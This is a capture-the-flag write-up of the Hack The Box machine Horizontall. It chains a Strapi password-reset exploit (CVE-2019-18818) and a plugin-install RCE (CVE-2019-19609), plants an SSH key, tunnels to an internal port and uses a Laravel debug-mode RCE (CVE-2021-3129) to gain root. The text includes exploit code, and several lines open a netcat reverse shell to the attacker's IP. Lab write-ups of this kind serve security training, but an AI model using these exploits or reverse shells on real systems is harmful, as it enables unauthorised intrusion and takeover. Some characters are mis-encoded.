Box Info
  • Name: Horizontall
  • OS: Linux
  • Difficulty: Easy
  • IP:
  • Points: 20
  • Machine Creator: wail99


Horizontall is a fun box on Hackthebox that has an API, vulnerable to Improper Access Control and RCE (Remote Code Execution).

The box is running a laravel service which is vulnerable to another RCE which lets us run commands as root.



sudo masscan "" -p1-65535,U:1-65535 --rate=1500 -e tun0
Discovered open port 80/tcp on
Discovered open port 22/tcp on


sudo nmap -sC -sV -oA -p 80,22
# Nmap 7.80 scan initiated Sun Aug 29 06:19:11 2021 as: nmap -sC -sV -oA -p 80,22
Nmap scan report for horizontall.htb (
Host is up (0.27s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Aug 29 06:19:36 2021 -- 1 IP address (1 host up) scanned in 24.22 seconds


We visit we get redirected to http://horizontall.htb

We add horizontall.htb in /etc/hosts file.  horizontall.htb

Visiting http://horizontall.htb , but we get nothing but a static HTML page hosted on Apache server.

Finding subdomains

So we move further looking for subdomains by using a tool called ffuf1

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 194

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 163 req/sec :: Duration: [0:11:01] :: Errors: 0 ::

We add these 2 subdomains in our hosts file /etc/hosts

# /etc/hosts file  horizontall.htb www.horizontall.htb api-prod.horizontall.htb

Directory enumerating using gobuster

We run gobuster 2 on these domains but we didn’t find anything as such for horizontall.htb as well as www.horizontall.htb.

We run gobuster on http://api-prod.horizontall.htb, we get interesting results.

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
   -t 50 -u http://api-prod.horizontall.htb/

Trimmed output

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/08/29 11:50:04 Starting gobuster in directory enumeration mode
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]

we get the following paths

  • http://api-prod.horizontall.htb/reviews
  • http://api-prod.horizontall.htb/users
  • http://api-prod.horizontall.htb/admin

Of these /reviews has nothing interesting and we get 403 Forbidden on /users

For /admin we see an admin login prompt:

We don’t have login credentials so we can’t log in to this dashboard.

We again run gobuster on http://api-prod.horizontall.htb/admin

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
    -t 50 -u http://api-prod.horizontall.htb/admin/ --wildcard | grep -v "Size: 854"

Here, we negative grep Size: 854 as the application returns the same for every non-existing page.

We get the following output (Trimmed output)

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://api-prod.horizontall.htb/admin/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/08/29 14:19:01 Starting gobuster in directory enumeration mode
/plugins              (Status: 403) [Size: 60]
/layout               (Status: 200) [Size: 90]
/init                 (Status: 200) [Size: 144]

Exploiting Improper Access Control in strapi

We find that the API is using strapi 3 and the version is 3.0.0-beta.17.4

On searching for vulns for this version we find =>

I see Improper Access Control with CVE: CVE-2019-18818 => Improper Access Control Affecting strapi package, versions <3.0.0-beta.17.5

On searching for an exploit for this CVE we find a blog post: Exploiting friends with CVE-2019-18818

The following is the modified code we use:


import requests
import sys
import json

s  =  requests.Session()

url = "http://api-prod.horizontall.htb"
email = ""

version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)

print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))

#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}"{}/".format(url), json=reset_request)

#Reset password to
print("[*] Setting new password...")
exploit={"code":{"$gt":0}, "password":"password1", "passwordConfirmation":"password1"}"{}/admin/auth/reset-password".format(url), json=exploit)

print("[*] Response:")

Using this code we can get JWT token, but this is not enough!

Getting shell as user strapi

We find a 2nd CVE: CVE-2019-19609 => Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609)

With this, we can get RCE by using a valid JWT token 馃槇

So, we use the following POST request via BURP suite:

POST /admin/plugins/install HTTP/1.1
Host: api-prod.horizontall.htb
Authorization: Bearer 鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅JIUzI1NiIsInR5cCI6IkpXVCJ9.鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅wiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ3OTA1LCJleHAiOjE2MzI4Mzk5MDV9.鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅CRBYxR2gpvDfzmO98MHSCEn07y-gs5sO4
Content-Type: application/json
Origin: http://api-prod.horizontall.htb
Content-Length: 125
Connection: close

    "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)",

Or we can use the following cURL command, where you need to put JWT token and attacker box IP in place of 10.10.XX.XX

curl -i -s -k -X $'POST' \
    -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer {PUT JWT TOKEN HERE}' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 139' -H $'Connection: close' \
    --data-binary $'{\x0d\x0a    \"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)\",\x0d\x0a    \"port\":\"1337\"\x0d\x0a}' \

We listen for connections on port 4444 using netcat, then run the above command.

nc -lvnp 4444

And, we get a shell with user strapi.

We can upgrade shell by using python3 -c 'import pty;pty.spawn("/bin/bash")'

We can get a ssh shell by adding our public-ssh key from attacker box i.e ~/.ssh/ to /opt/strapi/.ssh/authorized_keys of target box.

mkdir /opt/strapi/.ssh && \
    echo "ssh-rsa AAAAB鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅= kali@kaliubuntu" \
    >> /opt/strapi/.ssh/authorized_keys

We can now login as user strapi with no password!

ssh strapi@horizontall.htb

We go to /home directory, where we have user developer where we get user.txt, which can be read by user strapi.

Escalating Privileges


We run 4 on the target box, where we find the following part where open TCP ports are listed:

[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0*               LISTEN      1888/node /usr/bin/
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Note: Transfering on target box from attacker box can be easy. We can use darkhttpd to open a web server and use cURL/wget from target box and save it under /var/tmp directory.


  • Strapi is running om port 1337
  • MySQL DB is running on port 3306
  • Port 80 and 22 are accessible externally as we know.
  • We need to find out which service is on port 8000.

Enumerating service on port 8000

For this, we use SSH tunneling 5

Running the following on our attacker box:

ssh -N -L 8000: strapi@horizontall.htb

We can now access port 8000 from the target box (horizontall.htb) on our attacker box (localhost:8000)!

We again run gobuster on http://localhost:8000/

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
    -t 50 -u http://localhost:8000/ --wildcard

鈿狅笍 This dir fuzzing is very unstable, we frequently get:

Connection to horizontall.htb closed by remote host.

We find /profiles on http://localhost:8000

We browse the page and find interesting stuff on Context tab.

Using RCE for Laravel v8.4.2

The service here is using Laravel v8 (PHP v7.4.18). We see that Laravel version here is: v8.4.2. We have a CVE for Laravel v8.4.2 : CVE-2021-3129

We find a blog that explains how this works: LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION.
So using, we can get RCE!

We clone the exploit and phpggc:

git clone
git clone

We then run,

php -d'phar.readonly=0' phpggc/phpggc --phar phar -f -o exploit.phar monolog/rce1 system \
    '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)'

Here we have '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)' as a reverse shell.

An exploit.phar file should be created in your current directory

We listen on port 4444 using nc:

nc -lvnp 4444

then run,

python3 laravel-exploits/ exploit.phar

鈿狅笍 This step is very unstable as before, we frequently get: Connection to horizontall.htb closed by remote host.

We get a shell 馃悮 as root 馃帀